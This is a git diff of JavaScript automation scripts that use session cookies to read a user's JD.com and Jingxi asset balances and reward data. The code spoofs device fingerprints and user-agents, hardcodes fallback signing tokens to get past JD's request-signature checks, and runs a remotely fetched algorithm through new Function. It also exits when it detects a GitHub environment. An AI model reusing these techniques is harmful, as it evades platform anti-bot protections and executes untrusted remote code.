'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + }, + timeout: 10000 + } +} + +function taskJxUrl(functionId, body = '') { + let url = ``; + var UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + + if (body) { + url = `https://m.jingxi.com/activeapi/${functionId}?${body}`; + url += `&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `https://m.jingxi.com/activeapi/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} + + +function GetJxBeanDetailData() { + return new Promise((resolve) => { + $.get(taskJxUrl("queryuserjingdoudetail","pagesize=10&type=16"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`GetJxBeanDetailData请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +function GetJxBean() { + if (!EnableJxBeans) + return; + return new Promise((resolve) => { + $.get(taskJxUrl("querybeanamount"), async(err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`GetJxBean请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data) { + if (data.errcode == 0) { + $.xibeanCount = data.data.xibean; + if (!$.beanCount) { + $.beanCount = data.data.jingbean; + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); +} +async function jxbean() { + if (!EnableJxBeans) + return; + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + var JxYesterdayArr = [], + JxTodayArr = []; + var JxResponse = await GetJxBeanDetailData(); + if (JxResponse && JxResponse.ret == "0") { + var Jxdetail = JxResponse.detail; + if (Jxdetail && Jxdetail.length > 0) { + for (let item of Jxdetail) { + const date = item.createdate.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['visibleinfo'].includes("退还") && !item['visibleinfo'].includes('扣赠'))) { + JxTodayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['visibleinfo'].includes("退还") && !item['visibleinfo'].includes('扣赠'))) { + //昨日的 + JxYesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + } + + for (let item of JxYesterdayArr) { + if (Number(item.amount) > 0) { + $.inJxBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.OutJxBean += Number(item.amount); + } + } + for (let item of JxTodayArr) { + if (Number(item.amount) > 0) { + $.todayinJxBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutJxBean += Number(item.amount); + } + } + $.todayOutJxBean = -$.todayOutJxBean; + $.OutJxBean = -$.OutJxBean; + } + +} + +function GetJoyRuninginfo() { + if (!EnableJoyRun) + return; + + const headers = { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Connection": "keep-alive", + "Content-Length": "376", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://joypark.jd.com", + "Referer": "https://joypark.jd.com/", + "User-Agent": $.UA + } + var DateToday = new Date(); + const body = { + 'linkId': 'L-sOanK_5RJCz7I314FpnQ', + 'isFromJoyPark':true, + 'joyLinkId':'LsQNxL7iWDlXUs6cFl-AAg' + }; + const options = { + url: `https://api.m.jd.com/?functionId=runningPageHome&body=${encodeURIComponent(JSON.stringify(body))}&t=${DateToday.getTime()}&appid=activities_platform&client=ios&clientVersion=3.8.12`, + headers, + } + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + //console.log(data); + data = JSON.parse(data); + if (data.data.runningHomeInfo.prizeValue) { + $.JoyRunningAmount=data.data.runningHomeInfo.prizeValue * 1; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data) + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", + a = t.length, + n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getGetRequest(type, url) { + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + + const method = `GET`; + let headers = { + 'Origin': `https://st.jingxi.com`, + 'Cookie': cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json`, + 'Referer': `https://st.jingxi.com/pingou/jxmc/index.html`, + 'Host': `m.jingxi.com`, + 'User-Agent': UA, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }; + return { + url: url, + method: method, + headers: headers, + timeout: 10000 + }; +} + +Date.prototype.Format = function (fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, + a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function decrypt(time, stk, type, url) { + $.appId = 10028; + stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.Jxmctoken).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + $.appId = 10028; + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + //'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + llgeterror = true; + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.Jxmctoken = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) + $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + } else { + console.log('request_algo 签名参数API请求失败:') + } + } else { + llgeterror = true; + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + llgeterror = true; + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function getJxmcUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + + +function GetPigPetInfo() { + if (!EnablePigPet) + return; + return new Promise(async resolve => { + const body = { + "shareId": "", + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + } + $.post(taskPetPigUrl('pigPetLogin', body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`GetPigPetInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultData.resultData.wished && data.resultData.resultData.wishAward) { + $.PigPet=`${data.resultData.resultData.wishAward.name}` + } + } else { + console.log(`GetPigPetInfo: 京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + + +function taskPetPigUrl(function_id, body) { + var UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + return { + url: `https://ms.jr.jd.com/gw/generic/uc/h5/m/${function_id}?_=${Date.now()}`, + body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': UA, + 'Referer': `https://u.jr.jd.com/`, + 'Accept-Language': `zh-cn` + }, + timeout: 10000 + } +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_bean_change_pro.js b/jd_bean_change_pro.js new file mode 100644 index 0000000..8c73f0d --- /dev/null +++ b/jd_bean_change_pro.js @@ -0,0 +1,3310 @@ +/* +cron "30 21 * * *" jd_bean_change.js, tag:资产变化强化版by-ccwav + */ + +//详细说明参考 https://github.com/ccwav/QLScript2 + +// prettier-ignore +!function (t, e) { "object" == typeof exports ? module.exports = exports = e() : "function" == typeof define && define.amd ? define([], e) : t.CryptoJS = e() }(this, function () { var h, t, e, r, i, n, f, o, s, c, a, l, d, m, x, b, H, z, A, u, p, _, v, y, g, B, w, k, S, C, D, E, R, M, F, P, W, O, I, U, K, X, L, j, N, T, q, Z, V, G, J, $, Q, Y, tt, et, rt, it, nt, ot, st, ct, at, ht, lt, ft, dt, ut, pt, _t, vt, yt, gt, Bt, wt, kt, St, bt = bt || function (l) { var t; if ("undefined" != typeof window && window.crypto && (t = window.crypto), !t && "undefined" != typeof window && window.msCrypto && (t = window.msCrypto), !t && "undefined" != typeof global && global.crypto && (t = global.crypto), !t && "function" == typeof require) try { t = require("crypto") } catch (t) { } function i() { if (t) { if ("function" == typeof t.getRandomValues) try { return t.getRandomValues(new Uint32Array(1))[0] } catch (t) { } if ("function" == typeof t.randomBytes) try { return t.randomBytes(4).readInt32LE() } catch (t) { } } throw new Error("Native crypto module could not be used to get secure random number.") } var r = Object.create || function (t) { var e; return n.prototype = t, e = new n, n.prototype = null, e }; function n() { } var e = {}, o = e.lib = {}, s = o.Base = { extend: function (t) { var e = r(this); return t && e.mixIn(t), e.hasOwnProperty("init") && this.init !== e.init || (e.init = function () { e.$super.init.apply(this, arguments) }), (e.init.prototype = e).$super = this, e }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var e in t) t.hasOwnProperty(e) && (this[e] = t[e]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } }, f = o.WordArray = s.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 4 * t.length }, toString: function (t) { return (t || a).stringify(this) }, concat: function (t) { var e = this.words, r = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255; e[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (o = 0; o < n; o += 4)e[i + o >>> 2] = r[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var t = this.words, e = this.sigBytes; t[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, t.length = l.ceil(e / 4) }, clone: function () { var t = s.clone.call(this); return t.words = this.words.slice(0), t }, random: function (t) { for (var e = [], r = 0; r < t; r += 4)e.push(i()); return new f.init(e, t) } }), c = e.enc = {}, a = c.Hex = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i += 2)r[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new f.init(r, e / 2) } }, h = c.Latin1 = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new f.init(r, e) } }, d = c.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, u = o.BufferedBlockAlgorithm = s.extend({ reset: function () { this._data = new f.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = d.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (t) { var e, r = this._data, i = r.words, n = r.sigBytes, o = this.blockSize, s = n / (4 * o), c = (s = t ? l.ceil(s) : l.max((0 | s) - this._minBufferSize, 0)) * o, a = l.min(4 * c, n); if (c) { for (var h = 0; h < c; h += o)this._doProcessBlock(i, h); e = i.splice(0, c), r.sigBytes -= a } return new f.init(e, a) }, clone: function () { var t = s.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), p = (o.Hasher = u.extend({ cfg: s.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { u.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, blockSize: 16, _createHelper: function (r) { return function (t, e) { return new r.init(e).finalize(t) } }, _createHmacHelper: function (r) { return function (t, e) { return new p.HMAC.init(r, e).finalize(t) } } }), e.algo = {}); return e }(Math); function mt(t, e, r) { return t ^ e ^ r } function xt(t, e, r) { return t & e | ~t & r } function Ht(t, e, r) { return (t | ~e) ^ r } function zt(t, e, r) { return t & r | e & ~r } function At(t, e, r) { return t ^ (e | ~r) } function Ct(t, e) { return t << e | t >>> 32 - e } function Dt(t, e, r, i) { var n, o = this._iv; o ? (n = o.slice(0), this._iv = void 0) : n = this._prevBlock, i.encryptBlock(n, 0); for (var s = 0; s < r; s++)t[e + s] ^= n[s] } function Et(t) { if (255 == (t >> 24 & 255)) { var e = t >> 16 & 255, r = t >> 8 & 255, i = 255 & t; 255 === e ? (e = 0, 255 === r ? (r = 0, 255 === i ? i = 0 : ++i) : ++r) : ++e, t = 0, t 